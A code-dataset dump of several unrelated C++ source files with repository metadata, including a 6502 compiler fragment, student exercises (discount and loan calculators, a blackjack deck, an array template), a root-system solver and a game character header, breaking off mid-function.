preproc_state_stack.back(); preproc_state_stack.pop_back(); } void Compiler::LineStart(const char *s) { const char *b = s; while(*s && *s!='\n') s++; comms.push_back(string("; ")+string(b,s)); } int Compiler::GetChar() { if(!*src) return 0; if(*src=='\n') { LineStart(src+1); line++; } return *src++; } void Compiler::Error(const char *e) { static string _e; _e = format("Line %d: ",line)+e; throw _e.c_str(); } void Compiler::Warn(const char *e) { static string _e; _e = format("Line %d: ",line)+e; printf("Warning: %s\n",_e.c_str()); } //code.Clear(); //code.Assemble(" processor 6502"); //code.Assemble(" include vcs.h"); //code.Assemble(" include macro.h"); //code.Assemble(" org $F000"); //code.Assemble(""); //code.Assemble("EntryPoint"); //// main section //int mid = -1; //for(int i=0;i<sections.size();i++) // if(sections[i].type=="main") // { // if(mid>=0) Error("Duplicate entry point"); // mid = i; // } //if(mid<0) Error("No entry point"); //PutSection( sections[mid] ); //// data //for(int i=0;i<sections.size();i++) // if(sections[i].type=="data") // PutSection( sections[i] ); //code.Assemble(""); //code.Assemble(" org $FFFC"); //code.Assemble(" .word EntryPoint"); //code.Assemble(" .word EntryPoint"); void Compiler::InitCompile() { // clear src = ""; line = 0; label_id_gen = 1; var_addr = 0; error.clear(); vars.clear(); comms.clear(); break_labels.clear(); delayed_repeats.clear(); code = NULL; cur_bank = "default"; charset.clear(); evaluator.Clear(); for(int i=0;i<NUM_ADDR_MODES;i++) for(int j=0;j<NUM_ADDR_MODES;j++) movmap[i][j].clear(); img.Reset(); parser_enabled.clear(); preproc_state_stack.clear(); preproc_state = PREPROC_DEFAULT; eval_functions.clear(); eval_fn_table.clear(); eval_stack.clear(); eval_local_alloc = 0; tmp_eval.Clear(); local_index = 0; state.Clear(); // init movmap[AM_ACC][AM_X]="TXA"; movmap[AM_ACC][AM_Y]="TYA"; movmap[AM_X][AM_ACC]="TAX"; movmap[AM_Y][AM_ACC]="TAY"; movmap[AM_X][AM_S]="TSX"; movmap[AM_S][AM_X]="TXS"; for(int i=0;ADDRMODES[i].op;i++) { const AddrMode &f = ADDRMODES[i]; int a = f.mode; const char *s = f.op; if( f.lda ) movmap[AM_ACC][a] = string("LDA ")+s; if( f.ldx ) movmap[AM_X][a] = string("LDX ")+s; if( f.ldy ) movmap[AM_Y][a] = string("LDY ")+s; if( f.sta ) movmap[a][AM_ACC] = string("STA ")+s; if( f.stx ) movmap[a][AM_X] = string("STX ")+s; if( f.sty ) movmap[a][AM_Y] = string("STY ")+s; } // // add A2600 registers // int vaddr = 0; // for(int i=0;REGS[i];i++) // if(REGS[i][0]=='$') // vaddr = getnum(REGS[i]+1); // else // { // Var *v = find_var(REGS[i],true); // if(v->type==VT_UNKNOWN) // { // v->type=VT_VAR; // v->value = vaddr++; // v->has_value = true; // // state.AddLabel(v->name.c_str(),v->value,NULL,false,this); // } // } } void Compiler::SetBank(const char *bank) { cur_bank = bank; } const char *Compiler::Compile(const char *codetext) { // compile try { try { src = codetext; line = 1; LineStart(src); opend(); //eval.Clear(); RunParser(); } catch(const char *e) { Error(string(e)); } catch( const string &e ) { Error(e); } } catch(const char *err) { error = err; delete code; code = NULL; state.Clear(); } return (error.size()>0) ? error.c_str() : NULL; }
caf051fabeaad62084ec3372113adb44eb2450e3
6d94e9583069398ac001dd9d6a3f6c73f3fc9573
/tests/TestJsonDataWriter.cpp
076c9ee1ab7a45488c8d4d1752c1b11027bde46d
[]
no_license
saifmulla/DataPipeline
7b8336a5a578c3cacd4dc638d08b0adda1fdc585
76b7fafe6604302c820964f0dd4fc9427c66515d
refs/heads/master
2021-01-22T03:01:18.839592
2016-11-16T19:24:30
2016-11-16T19:24:30
81,091,020
0
0
null
null
null
null
UTF-8
C++
false
false
618
cpp
TestJsonDataWriter.cpp
#include "gtest/gtest.h" #include "datapipeline/JsonDataWriter.H" #include "datapipeline/CsvDataReader.H" #include <memory> using namespace DataPipeline; TEST(TestJsonDataWriter, construction){ CsvDataReader reader("../data/test_1.csv"); Data data; reader.read(data); JsonDataWriter writer; writer.write(data,"test_2.json"); } TEST(TestJsonDataWriter, largefile){ CsvDataReader reader("../data/hotels.csv"); Data data; reader.read(data); JsonDataWriter writer; writer.write(data,"hotels.json"); } int main(int argc, char *argv[]){ ::testing::InitGoogleTest(&argc,argv); return RUN_ALL_TESTS(); }
50f5a22d9e1f37e475517740a791334ca757ec64
749f7043431d7dea381dc4fa85cae9b4c265152e
/main.cpp
387738872804d9664d26382da2882627e4466ec8
[]
no_license
isabella-talijancic/Fair-C2-P3-Making-Simple-Decisions
19f378092ba96a78a48f4e2c946fdb48c829c1ac
2049bac90276befd6c5d9022ce0ab08ff9add87d
refs/heads/master
2023-03-18T07:44:02.048771
2021-03-09T02:50:00
2021-03-09T02:50:00
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,040
cpp
main.cpp
// C2 P3 - Making Simple Decisions #include <iostream> #include <string> #include <iomanip> using namespace std; // Variable Declarations string name; int items; char decision; string done; const double PRICEEACH = 3.59; const double CUT_OFF1 = 12; const double CUT_OFF2 = 24; const double DISCOUNT1 = 0.10; const double DISCOUNT2 = 0.20; double discountedPrice; double total; double total1; double total2; int main() { cout << "\t★ ☆ ★ ☆ Making Simple Decisions ★ ☆ ★ ☆"; cout << "\n\nEnter customer name or 'done' to quit: "; cin >> name; while (name != "done") { cout << "\nGreat! " << name << ", please input the number of items you are purchasing: "; cin >> items; if (items < CUT_OFF1) { cout << "\n\n" << name << " did not qualify for a 10% discount."; total = (items * PRICEEACH); cout << "\n\n\t☆ Final Total: $ " << setprecision(2) << fixed << total; } if (items > CUT_OFF1) if (items < CUT_OFF2) { cout << "\n\n" << name << " did qualify for a 10% discount!"; total = (items * PRICEEACH); discountedPrice = (total * DISCOUNT1); total1 = (total - discountedPrice); cout << "\n\n\t☆ Initial Total: $ " << setprecision(2) << fixed << total; cout << "\n\t☆ Discount: $ " << setprecision(2) << fixed << discountedPrice; cout << "\n\t☆ Final Total: $ " << setprecision(2) << fixed << total1; } if (items > CUT_OFF1) if (items > CUT_OFF2) { cout << "\n\n" << name << " did qualify for a 20% discount!"; total = (items * PRICEEACH); discountedPrice = (total * DISCOUNT2); total2 = (total - discountedPrice); cout << "\n\n\t☆ Initial Total: $ " << setprecision(2) << fixed << total; cout << "\n\t☆ Discount: $ " << setprecision(2) << fixed << discountedPrice; cout << "\n\t☆ Final Total: $ " << setprecision(2) << fixed << total2; } cout << "\n\nThank you for shopping with us!\n\nPlease enter another customer name or 'done' to quit: "; cin >> name; } cout << "\nEnd of Program"; return 0; }
e79d22c51c9db75c5be8a8a3ba616ac569178993
0e9d78dfc9fe3f1d6ba2afa5f5d7025e64a24855
/Project1/Deck.cpp
bb5d08c588cb75b6ceca923932d457210aa6979f
[]
no_license
aya-gv/Blackjack
ea3eb24c6c606d11cd8fe42012707ad88defe814
bb40122d3d6e2f4ec3e68e877555796b6ca969c3
refs/heads/master
2020-04-02T08:04:52.453706
2018-10-21T03:18:35
2018-10-21T03:18:35
154,228,347
0
0
null
2018-10-22T22:57:41
2018-10-22T22:57:41
null
UTF-8
C++
false
false
1,480
cpp
Deck.cpp
#include "Deck.h" Deck::Deck() { // when a deck is instantiated, all 52 cards also instantiated and their values set deck = gcnew array<Card^>(52); deckSize = deck->Length; // set suits array - 0 = spade, 1 = club, 2 = diamond, 3 = heart suitsTotal = gcnew array<String^>{"s", "c", "d", "h"}; /* * Set values of the deck. Aces should have a value of 1 or 11 * However, each card will get a second value so that we do not have to search for Aces. * * Indices of the cards at initialization * 0-12 Spades 10-12 face cards * 13-25 Clubs 23-25 face cards * 26-38 Diamonds 36-38 face cards * 39-51 Hearts 49-51 face cards */ int cardName = 1; for (int i = 0, j = 1; i < deckSize; i++, j++) { // count to reset for face cards int count = 0; int suitCount = 0; // aCardValue to be only used for Aces deck[i] = gcnew Card(); deck[i]->aCardValue = 11; deck[i]->cardValue = j; // need to change the path to a relative path in final build deck[i]->img_loc = "images\\" + cardName +".png"; cardName++; if (j == 10) // when j = 10, let the value persist until all face cards are accounted for { count++; if (count == 4) // when count reaches 4, all face cards for that suit has been assigned a value of 10 { j = 1; count = 0; } } // set suits. if index is multiple of 13, change suit deck[i]->suit = suitsTotal[suitCount]; if (i % 13 == 0) suitCount++; } } void Deck::shuffle() { } void Deck::populate() { }
504a57e11cf46c7384de16ad9b06188b8972eb6d
6ab8bc7c02696b1e386e3be2717d50761cb4390c
/URI/p1155.cpp
f64838626e4ed60b43a6686e1d3f56792bd0fd42
[]
no_license
shahriercse/Online-Judge-Solutions
4c71d21cadaf12a04e2021f0168b27fba436e257
2b35452116547e1f7769fa3f32ca6cc3a5eb2e75
refs/heads/master
2023-08-20T20:47:22.104809
2021-10-26T09:39:16
2021-10-26T09:39:16
null
0
0
null
null
null
null
UTF-8
C++
false
false
262
cpp
p1155.cpp
#include<iostream> #include<iomanip> using namespace std ; int main() { double sum = 0 ; for ( int i = 1 ; i <= 100 ; i++ ){ sum += 1/(i*1.0) ; } cout << fixed ; cout << setprecision(2) ; cout << sum << endl ; return 0 ; }
fc01ac381d4f90db9f7519e73acacc4827b575d1
c7246bb4278520805ca19ddde4b05e142610b6ec
/main.cpp
9fe79730fdd1ebe2b3b5bf6a811ef278b4935a09
[]
no_license
serjtroshin/rootscpp
9b50431af537bbf51fd158597f3a3e2379e60c99
8cfb08300345e4c0ca3125edbb0e6a0be5c4135d
refs/heads/master
2020-03-26T18:20:26.405581
2018-12-09T14:05:37
2018-12-09T14:05:37
145,208,470
0
0
null
null
null
null
UTF-8
C++
false
false
11,390
cpp
main.cpp
#include <iostream> #include <armadillo> #include <vector> #include <assert.h> #include "linalg.h" #include <fstream> #include <set> #include <string> #include <deque> #include <ctime> #include <string.h> #define ARMA_USE_HDF5 #define __FILE_KARTAN__ "/Users/istar/ClionProjects/gauss/kartan.txt" #define __FILE_WEIGHTS__ "/Users/istar/ClionProjects/gauss/weights" #define __FILE_GRAMM__ "/Users/istar/ClionProjects/gauss/gramm" std::map<std::string, long long> weil_size = { {"b3", 48}, {"b4", 384}, {"b5", 3840}, {"f4", 1152}, {"e6", 51840} }; c_unique UniqueNumber; arma::Mat<int> load(std::string file, std::string ROOT_SYS_NAME) { std::ifstream f; f.open(file); std::string s; while (std::getline(f, s)) { if (s == ROOT_SYS_NAME) { std::getline(f, s); f.close(); return arma::Mat<int>(s); } } f.close(); std::cerr << "load error: not found in file " << file; exit(1); return arma::Mat<int>(s); } arma::Mat<int> reflect(arma::Mat<int> & a, int basis_root_id, arma::Mat<int> & kartan) { auto b = arma::Mat<int>(1, a.n_cols, arma::fill::zeros); b(basis_root_id) = arma::dot(a, kartan.col(basis_root_id)); return a - b; } std::set<arma::Mat<int>, cmp> spread(std::deque<arma::Mat<int> > & d, arma::Mat<int> & kartan) { std::set<arma::Mat<int>, cmp> s; while (!d.empty()) { arma::Mat<int> fr = d.front(); for (int i = 0; i < kartan.n_cols; i++) { auto r = reflect(fr, i, kartan); if (s.find(r) == s.end()) { s.insert(r); d.push_back(r); } } d.pop_front(); } return s; } std::set<arma::Mat<int>, cmp> s_to_grammed_s(std::set<arma::Mat<int>, cmp> & s, arma::Mat<int> & gramm) { std::set<arma::Mat<int>, cmp> new_s; arma::Mat<int> m; for (auto & it : s) { m.insert_rows(0, it); } m = m * gramm; for (int i = 0; i < m.n_rows; ++i) { arma::Mat<int> mm = m.row(i); new_s.insert(mm); } return new_s; } bool f(arma::Mat<int> & mt, arma::Mat<int> * res, int rank, long long of) { static long long counter = 0; counter++; if (counter % 1000000 == 0) std::cout << counter << " of " << of << " " << 100 * counter / of << "%\n"; // mt.print("mt"); struct gauss_meta meta = gauss(mt); if (meta.rank == rank) { *res = solve_fsr(mt, &meta); return 1; } return 0; } void myfunction (int i) { std::cout << i << ' '; } void save(arma::Mat<int> & res, const char * file) { // res.save(file, arma::arma_ascii); } void write_to_file(arma::Mat<int> & res, std::ofstream & file) { for (int i = 0; i < res.n_cols; ++i) { file << res(i) << ' '; } file << '\n'; } std::string to_str(arma::Mat<int> & col) { std::string s; for (int i = 0; i < col.n_rows; i++) { int elem = col(i); if (elem < 0) { s += "-"; s += -elem + '0'; } else { s += elem + '0'; } s += " "; } return s; } int num_unique_cols(arma::Mat<int> & cols) { std::set<std::string> st; for (int i = 0; i < cols.n_cols; i++) { arma::Mat<int> col = cols.col(i); st.insert(to_str(col)); } //for (auto & it : st) { // std::cout << it << ' '; //} return st.size(); } auto reduce(std::set<arma::Mat<int>, cmp> s) { std::set<arma::Mat<int>, cmp> s_new; std::copy_if(s.begin(), s.end(), std::inserter(s_new, s_new.end()), [](auto & elem){return ! arma::all(arma::vectorise(elem > 0)) and ! arma::all(arma::vectorise(elem < 0));}); std::set<arma::Mat<int>, cmp> s_new_1; for (auto & it : s_new) { arma::Mat<int> nit = -it; if (s_new_1.find(nit) == s_new_1.end()) { s_new_1.insert(it); } } return s_new_1; } std::vector<int> as_list(const arma::Mat<int> & a) { std::vector<int> vec; for (int i = 0; i < a.n_rows * a.n_cols; i++) { vec.push_back(a(i)); } return vec; } bool has_collinear(std::set<arma::Mat<int>, cmp> & final_s) { std::set<arma::Mat<int>, cmp> test; for (auto & it : final_s) { auto vec = as_list(it); std::vector<int> to_copy; std::copy_if(vec.begin(), vec.end(), std::back_inserter(to_copy), [](int i){return i != 0;}); int _gcd; if (to_copy.size() == 1) _gcd = to_copy[0]; else _gcd = gcd(to_copy).second; if (abs(_gcd) != 1) { arma::Mat<int> normed = it / _gcd; if (final_s.find(normed) != final_s.end()) return 1; } } return 0; } void get_data(const char * ROOT_SYS_NAME, arma::Mat<int> * kartan, arma::Mat<int> * weights, arma::Mat<int> * gramm) { *kartan = load(__FILE_KARTAN__, ROOT_SYS_NAME); *weights = load(__FILE_WEIGHTS__, ROOT_SYS_NAME); *gramm = load(__FILE_GRAMM__, ROOT_SYS_NAME); kartan->print("kartan"); weights->print("weights"); gramm->print("gramm"); // assert that weight * kartan is diagonal_matrix; arma::Mat<int> diag = (*weights * *kartan); assert(is_diagonal(diag)); diag.print("kartan * weights"); } std::set<arma::Mat<int>, cmp> make_S(arma::Mat<int> & weights, arma::Mat<int> & kartan) { std::deque<arma::Mat<int> > d; for (int i = 0; i < weights.n_rows; i++) d.push_back(weights.row(i)); auto s = spread(d, kartan); return s; }; void test_orbit_size(const char * ROOT_SYS_NAME, arma::Mat<int> & weights, arma::Mat<int> & kartan) { long long w_sz = weil_size[ROOT_SYS_NAME]; for (int i = 0; i < weights.n_rows; ++i) { std::deque<arma::Mat<int> > d; d.push_back(weights.row(i)); auto s = spread(d, kartan); assert(w_sz % s.size() == 0); // Порядок элемента делит порядок группы Вейля } } long long how_many_to_solve(int rank, int s_size) { long long to_solve = 1; int ff = 1; for (int i = 0, j = s_size, f = 1; i < rank; i++, j--, f *= (i + 1)) { to_solve *= j; ff = f; } return to_solve / ff; } class SequenceGen: public std::iterator< std::input_iterator_tag, std::vector<int> > { public: SequenceGen(int _n, int _k) { n = _n; k = _k; indexes = std::vector<int>(k); for (int i = 0; i < k; i++) { indexes[i] = i; } first = indexes.begin(); last = indexes.end(); done = false; } explicit operator bool() const { return !done; } std::vector<int> const& operator*() const { return indexes; } std::vector<int> const* operator->() const { return &indexes; } SequenceGen& operator++() { assert(!done); if (*first != n - k) { std::vector<int>::iterator mt = last; while (*(--mt) == n-(last-mt)); (*mt)++; while (++mt != last) *mt = *(mt-1)+1; return *this; } done = true; return *this; } SequenceGen operator++(int) { SequenceGen const tmp(*this); ++*this; return tmp; } private: int n; int k; bool done; std::vector<int> indexes; std::vector<int>::iterator first, last; }; class Saver { public: Saver(const char * filename, const char * add="") { std::string s = std::string(filename) + std::string(add); fout.open(s); } ~Saver() { fout.close(); } void save(const arma::Mat<int> & mat) { for (int i = 0; i < mat.n_cols; ++i) { fout << mat(i) << ' '; } fout << '\n'; } void save(const std::set<arma::Mat<int>, cmp> & s ) { for (auto & it : s) { for (int i = 0; i < (int)it.n_cols; i++) { fout << it(i) << ' '; } fout << '\n'; } } private: std::ofstream fout; }; void run(const char * ROOT_SYS_NAME) { cout << "\n\n\nSTARTED " << ROOT_SYS_NAME << '\n'; clock_t begin = clock(); arma::Mat<int> kartan, weights, gramm; get_data(ROOT_SYS_NAME, &kartan, &weights, &gramm); auto s = make_S(weights, kartan); std::cout << "S size: " << s.size() << '\n'; for (auto & it : s) { arma::Mat<int> mit = -it; if (s.find(mit) == s.end()) { it.print("it"); } } // ----------------- // update by Авдеев Р.C. // reduce S Saver(ROOT_SYS_NAME, ".set").save(s); auto s_reduced = reduce(s); std::cout << "reduced size of S: " << s_reduced.size() << '\n'; /*for (auto & it : s_reduced) { arma::Mat<int> mit = -it; if (s_reduced.find(mit) == s_reduced.end()) { it.print("not in reduced"); if (s.find(mit) == s.end()) { it.print("not in s"); } } }*/ Saver(ROOT_SYS_NAME, ".set_reduced").save(s_reduced); /* LET'S make it all way faster */ s = s_reduced; test_orbit_size(ROOT_SYS_NAME, weights, kartan); int rank = kartan.n_cols - 1; long long to_solve = how_many_to_solve(rank, s.size()); cout << "to_solve " << to_solve << '\n'; // IF the basis is of prime vector -> use gramm matrix for SoLE s = s_to_grammed_s(s, gramm); // iterate over all subsets of vectors from S and find ortogonal vector (one from characteristic set) int n = s.size(); int r = rank; std::vector<arma::Mat<int> > sv(s.begin(), s.end()); arma::Mat<int> S; // column vector for (auto & it : sv) S.insert_rows(0, it); SequenceGen subsets(n, r); arma::Mat<int> res; std::set<arma::Mat<int>, cmp> final; Saver saver(ROOT_SYS_NAME); unsigned long long ans = 0; arma::Mat<int> sub_view(rank, S.row(0).n_cols); while (subsets) { auto vec = *subsets; int it_r = 0; for (auto & it : vec) { for (int j = 0; j < sub_view.n_cols; ++j) { sub_view(it_r, j) = S(it, j); } it_r++; } if (f(sub_view, &res, rank, to_solve)) { ans++; //res.print("ans"); final.insert(res); final.insert(-res); // saver.save(res); res = -res; saver.save(res); if (final.size() % 1000000 == 0) cout << "final SIZE: " << final.size(); } subsets++; } cout << "ans " << ans << ' '; std::cout << "UNIQUE: " << final.size() << '\n'; std::deque<arma::Mat<int> > final_d(final.begin(), final.end()); auto final_s = spread(final_d, kartan); std::cout << "final size " << final_s.size() << '\n'; clock_t end = clock(); double elapsed_secs = double(end - begin) / CLOCKS_PER_SEC; cout << "Finished TIME secs: " << elapsed_secs << '\n'; saver.save(final_s); cout << "\nsaved\n"; } std::pair<std::pair<int, int>, int> StaticGCD::pregcd[_GCD_RANGE][_GCD_RANGE]; int main(int argc, char ** argv) { const char * name = "f4"; if (argc > 1) name = argv[1]; // config logging // freopen("logging.txt", "w", stdout); StaticGCD::init(); //arma::Mat<int> gramm = {{4, -2, 0, 0}, {-2, 4, -2, 0}, {0, -2, 2, -1}, {0, 0, -1, 2}}; run(name); }
8190ca4f01a8c2dae034caef8f99da1fb058c8b2
56f5b185d8103f3819ae0dd22d2b52e8ca7f74e6
/LehrMark_CSC_CIS_5_Winter_2018-master/Lab/Lab012518/Home/main.cpp
636957a9458ce140edea18acbf8d09ebadee50e7
[]
no_license
bj2594494/JungByeongju_CSC_CIS_17A_Spring_2018
8fc2dbf94b817f62c47363a91cd27cd13462fb99
2e1025a8a1b7e60626614200b9b9d675cdeff204
refs/heads/master
2020-04-10T22:07:21.003164
2018-05-15T05:42:57
2018-05-15T05:42:57
124,298,353
0
0
null
null
null
null
UTF-8
C++
false
false
1,981
cpp
main.cpp
/* * File: main.cpp * Author: Dr. Mark E. Lehr * Created on July 19, 2016, 9:07 AM * Purpose: Home Calculator */ //System Libraries Here #include <iostream> //I/O Library #include <iomanip> //Format Currency using namespace std; //User Libraries Here //Global Constants Only, No Global Variables //Like PI, e, Gravity, or conversions const char PERCENT=100;//Percent Conversion //Function Prototypes Here //Program Execution Begins Here int main(int argc, char** argv) { //Declare all Variables Here float purcPrc, intRate, percDep, loanAmt, mthPay; float blonPay, lstPay, sumInt, totPd1,totPd2; float savings; //Input or initialize values Here purcPrc=250000.0f; //Purchase price of the home in $'s intRate=0.04f, //Interest Rate/Year percDep=0.10f, //Percentage Deposit loanAmt=purcPrc*(1-percDep); //Loan amount in $'s mthPay=1074.19f; //Monthly Payment //Process/Calculations and Display cout<<fixed<<setprecision(2)<<showpoint; cout<<"Calculate the Home Loan Payment"<<endl; cout<<"Purchase Price = $"<<purcPrc<<endl; cout<<"Interest Rate = "<<intRate*PERCENT<<"%"<<endl; cout<<"Percentage Deposit = "<<percDep*PERCENT<<"%"<<endl; cout<<"Loan Amount = $"<<loanAmt<<endl; cout<<"Monthly Payment = $"<<mthPay<<endl; cout<<endl<<"Month Loan Interest " <<"Payment Principle"<<endl; int nMonths=360; for(int month=0;month<nMonths;month++){ float inEndMn=loanAmt*intRate/12; float prnPay=mthPay-inEndMn; cout<<setw(5)<<month <<setw(15)<<loanAmt <<setw(15)<<inEndMn <<setw(15)<<mthPay <<setw(15)<<prnPay<<endl; loanAmt+=(inEndMn-mthPay); } cout<<"Final Payment at month "<<nMonths<<" = $"<<mthPay+loanAmt<<endl; //Exit stage right! return 0; }
54c0a93b6c4e73753f33b1a23b66ef44cced9aa2
96d2adca82149fea0d6f2c08139683630b8c6116
/Client2D/Include/HK/HollowKnight.h
e5dfd2693c2facc81c5c69a2ae30b3c8e786f32f
[]
no_license
kentsang45/Hollow2D
847c39b7881644f88b3d56e128e872192f0753cc
18c63318741ae8e3f31a528ac0235ceb1faa0e10
refs/heads/master
2022-06-12T16:14:32.862531
2020-05-04T16:38:19
2020-05-04T16:38:19
257,964,090
1
0
null
null
null
null
UHC
C++
false
false
4,681
h
HollowKnight.h
#pragma once #include "Object/GameObject.h" #include "../Client.h" class HollowKnight : public CGameObject { GAMEOBJECT_DEFAULT(); public: HollowKnight(); ~HollowKnight(); void PlaceAt(int stageNumber, bool bStart); virtual bool Init(); virtual void Begin(); virtual void Update(float fTime); virtual void Render(float fTime); DIR_TYPE GetDirection() const; void MoveX(float fScale, float fTime); void Fire(float fTime); void Attack(float fTime); void Jump(float fTime); void JumpEnd(float fTime); void JumpOver(float fTime); void Heal(float fTime); void OnBlock(class CColliderBase* pSrc, class CColliderBase* pDest, float fTime); void BeginOverlap(class CColliderBase* pSrc, class CColliderBase* pDest, float fTime); void EndOverlap(class CColliderBase* pSrc, class CColliderBase* pDest, float fTime); // void HitStay(class CColliderBase* pSrc, class CColliderBase* pDest, float fTime); void SetEffect(class HKAttackEffect* attackEffect); void AddCoinCount() { ++m_iCoinCount; } int GetCoinCount() const { return m_iCoinCount; } void CameraControl(float fTime); void CameraShake(float fTime); void CameraShakeOn(float fSetTime = 0.5f, int iIntensity = 30); void SetHPCoin(int hp, int coin) { m_iHP = hp; m_iCoinCount = coin; } void SetStage(int iStage, bool bStart); void GoToNext(); void GoToPrev(); int GetStageNumber() const { return m_iStageNumber; } void NextStage(float fTime); void PrevStage(float fTime); void BossOn(bool on) { m_bBossOn = on; } bool BossOn() const { return m_bBossOn; } void PlaceStart(); void ResetPosition() { m_bReset = true; } void SetSoulEffect(float fTime); void SetBugEffect(float fTime); void SoundTestOn(float fTime); void SoundTestOff(float fTime); void SetEffectSound(const string& strKey, const char* pFileName); private: void SetCurrentState(PLAYER_STATE state); void ReturnSequence(float fTime); void UpdateHeal(float fTime); void Reverse(float fTime); void SetAnimation(); void SetKey(); void SetHP(); void UpdateCamera(); private: class Darkness* m_pDark = nullptr; class CStaticMeshComponent* m_pMesh; class CStaticMeshComponent* m_pDarkMesh; class CAnimation2D* m_pDarkAnimation; class CCharacterMovementComponent* m_pMovement; class CCameraComponent* m_pCamera; class CMaterial* m_pMaterial; class CAnimation2D* m_pAnimation; class Healing* m_pHealing; // COLLIDER class CColliderRect* m_pBody; // EFFECT class HKAttackEffect* m_pAttackEffect; // Stage class HKStage* m_pCurrentStage = nullptr; ////////////////////////////////////////////////////////////////////////////////// PLAYER_STATE m_eState; std::vector<std::string> m_vecStateName; DIR_TYPE m_eDirType; float m_fHealTime; bool m_bFire; bool m_bIsHealing; bool m_bHealOver; bool m_bHealStart; bool m_bTurnStart; float m_fTurningTime; bool m_bTurnOver; float m_fFireTime; bool m_bFireOn; float m_fJumpTime; float m_fJumpTotalTime; bool m_bHitStage; float m_fDamagedTime; float m_fDamagedTotalTime; DIR_TYPE m_eMonsterDir; int m_iHP; std::vector<class UIHP*> m_stackHP; int m_iHPCount; float m_fDustTime = 0.f; float m_fDustTotalTime = 0.03f; bool m_bDamaged = false; float m_fBlackTime = 0.f; // 충돌 bool m_bNoRight = false; bool m_bNoLeft = false; bool m_bCeiling = false; // 공격모션 bool m_bAttacking = false; float m_fAttackTime = 0.f; float m_fAttackTotalTime = 0.3f; // 중력 bool m_bLandUp = false; // true면 땅에서 꺼진 만큼 위로 올라가야한다. float m_fUp = 0.f; bool m_bColliding = false; // STAGE int m_iStageNumber; float m_fStageSizeX; float m_fStageSizeY; float m_fNormalSpeed = 500.f; Vector3 m_vNoRight = Vector3::Zero; Vector3 m_vNoLeft = Vector3::Zero; // 콜리젼 빠져나오기 bool m_bEscape = false; float m_fEscapeTime = 0.f; float m_fEscapeTotalTime = 0.01f; // 잠시 무적상태 bool m_bInvincible = false; float m_fInvincibleTime = 0.f; float m_fInvincibleTotalTime = 0.5f; // 카메라 쉐이크 bool m_bShake = false; float m_fShakeTime = 0.f; float m_fShakeTotalTime = 0.5f; int m_iIntensity; Vector3 m_vPrevPos = Vector3::Zero; // 동전 int m_iCoinCount = 0; bool m_bNext = false; bool m_bPrev = false; // 공중부양 상태 bool m_bAir= false; float m_fAirTime = 0.f; float m_fAirTotalTime = 0.5f; // 두둥등장 bool m_bBossOn = false; bool m_bReset = false; float m_fResetTime = 0.f; float m_fResetTotalTime = 0.5f; //bool m_bBright = false; //float m_fBrightTime = 0.f; //float m_fBrightTotalTime = 0.5f; class SoundObject* m_pFootsteps = nullptr; bool m_bWalkSound = false; };
d7c4d0d0ec04186aed2fa14053f3375b7c7532e8
574933565e69f1fadd4982aee98bfe48eaa94191
/C_С++/OOP/labs/prog10/main.cpp
6148f79219c17dd96ffd6a904268ad34f316d40a
[]
no_license
andryuha24/CourseBachelorKRSU
96f831666f9ba57a5ae9fd2a74210aea2258c87d
542b9ddfd9db8dbf039a03390796e61347c74f22
refs/heads/master
2021-01-12T13:32:31.424327
2018-02-03T17:30:40
2018-02-03T17:30:40
69,844,356
1
0
null
null
null
null
WINDOWS-1251
C++
false
false
12,756
cpp
main.cpp
#include <iostream> #include "intArray.h" using namespace std; //определение специализированного класса int intArray<double>::count=0; intArray<double>::intArray() { count++; p=NULL; n=0; error=1; } intArray<double>::intArray(int n1) { count++; n=n1; p=new double[n]; if(p==NULL) error=1; else error=0; } intArray<double>::intArray(const intArray &a) { count++; n=a.n; p=new double[n]; if(p==NULL) error=1; else error=0; for(int i=0; i<n; i++) p[i]=a.p[i]; //cout<<"\nI am copyconstructor\n"; } intArray<double>::~intArray() { count--; delete []p; } double intArray<double>::getElem(int i) { if(i<n) { error=0; return *(p+i); } else { error=2; return NULL; } } int intArray<double>::getN() { return n; } double intArray<double>::getMin() { int min=p[0]; for(int i=0; i<n; i++) if(p[i]<min) min=p[i]; return min; } double intArray<double>::getMax() { int max=p[0]; for(int i=0; i<n; i++) if(p[i]>max) max=p[i]; return max; } float intArray<double>::getAverage() { float aver=0; for(int i=0; i<n; i++) aver+=p[i]; aver/=n; return aver; } double intArray<double>::getMediana() { int tmp=n/2; return p[tmp]; } int intArray<double>::getError() { return error; } double intArray<double>::getDis() { double dis=0; float aver=0; aver=getAverage(); for(int i=0; i<n; i++) dis+=(p[i]-aver)*(p[i]-aver)/n; return dis; } double intArray<double>::getRMS() { double RMS=0; RMS=sqrt(getDis()); return RMS; } int intArray<double>::getCount() { return count; } void intArray<double>::fill() { for(int i=0; i<n; i++) p[i]= rand()%100+1; } void intArray<double>::sort() { for(int i=0; i<n; i++) for(int j=0; j<n; j++) if(p[i]>p[j]) swap(p[i],p[j]); } intArray<double> intArray<double>::operator +(const intArray & a) { intArray tmp; if(n<a.n) { tmp.p=new double[n]; tmp.n=n; if(tmp.p==NULL) tmp.error=1; else tmp.error=0; for(int i=0; i<tmp.n; i++) { tmp.p[i]=p[i]+a.p[i]; } } else { tmp.p=new double[a.n]; tmp.n=a.n; if(tmp.p==NULL) tmp.error=1; else tmp.error=0; for(int i=0; i<tmp.n; i++) { tmp.p[i]=p[i]+a.p[i]; } return tmp; } } intArray<double> intArray<double>::operator -(const intArray &a) { intArray tmp; if(n<a.n) { tmp.p=new double[n]; tmp.n=n; if(tmp.p==NULL) tmp.error=1; else tmp.error=0; for(int i=0; i<tmp.n; i++) { tmp.p[i]=p[i]-a.p[i]; } } else { tmp.p=new double[a.n]; tmp.n=a.n; if(tmp.p==NULL) tmp.error=1; else tmp.error=0; for(int i=0; i<tmp.n; i++) { tmp.p[i]=p[i]-a.p[i]; } return tmp; } } intArray<double> intArray<double>::operator *(const intArray &a) { intArray tmp; if(n<a.n) { tmp.p=new double[n]; tmp.n=n; if(tmp.p==NULL) tmp.error=1; else tmp.error=0; for(int i=0; i<tmp.n; i++) { tmp.p[i]=p[i]*a.p[i]; } } else { tmp.p=new double[a.n]; tmp.n=a.n; if(tmp.p==NULL) tmp.error=1; else tmp.error=0; for(int i=0; i<tmp.n; i++) { tmp.p[i]=p[i]*a.p[i]; } return tmp; } } intArray<double> intArray<double>::operator /(const intArray &a) { intArray tmp; if(n<a.n) { tmp.p=new double[n]; tmp.n=n; if(tmp.p==NULL) tmp.error=1; else tmp.error=0; for(int i=0; i<tmp.n; i++) { tmp.p[i]=p[i]/a.p[i]; } } else { tmp.p=new double[a.n]; tmp.n=a.n; if(tmp.p==NULL) tmp.error=1; else tmp.error=0; for(int i=0; 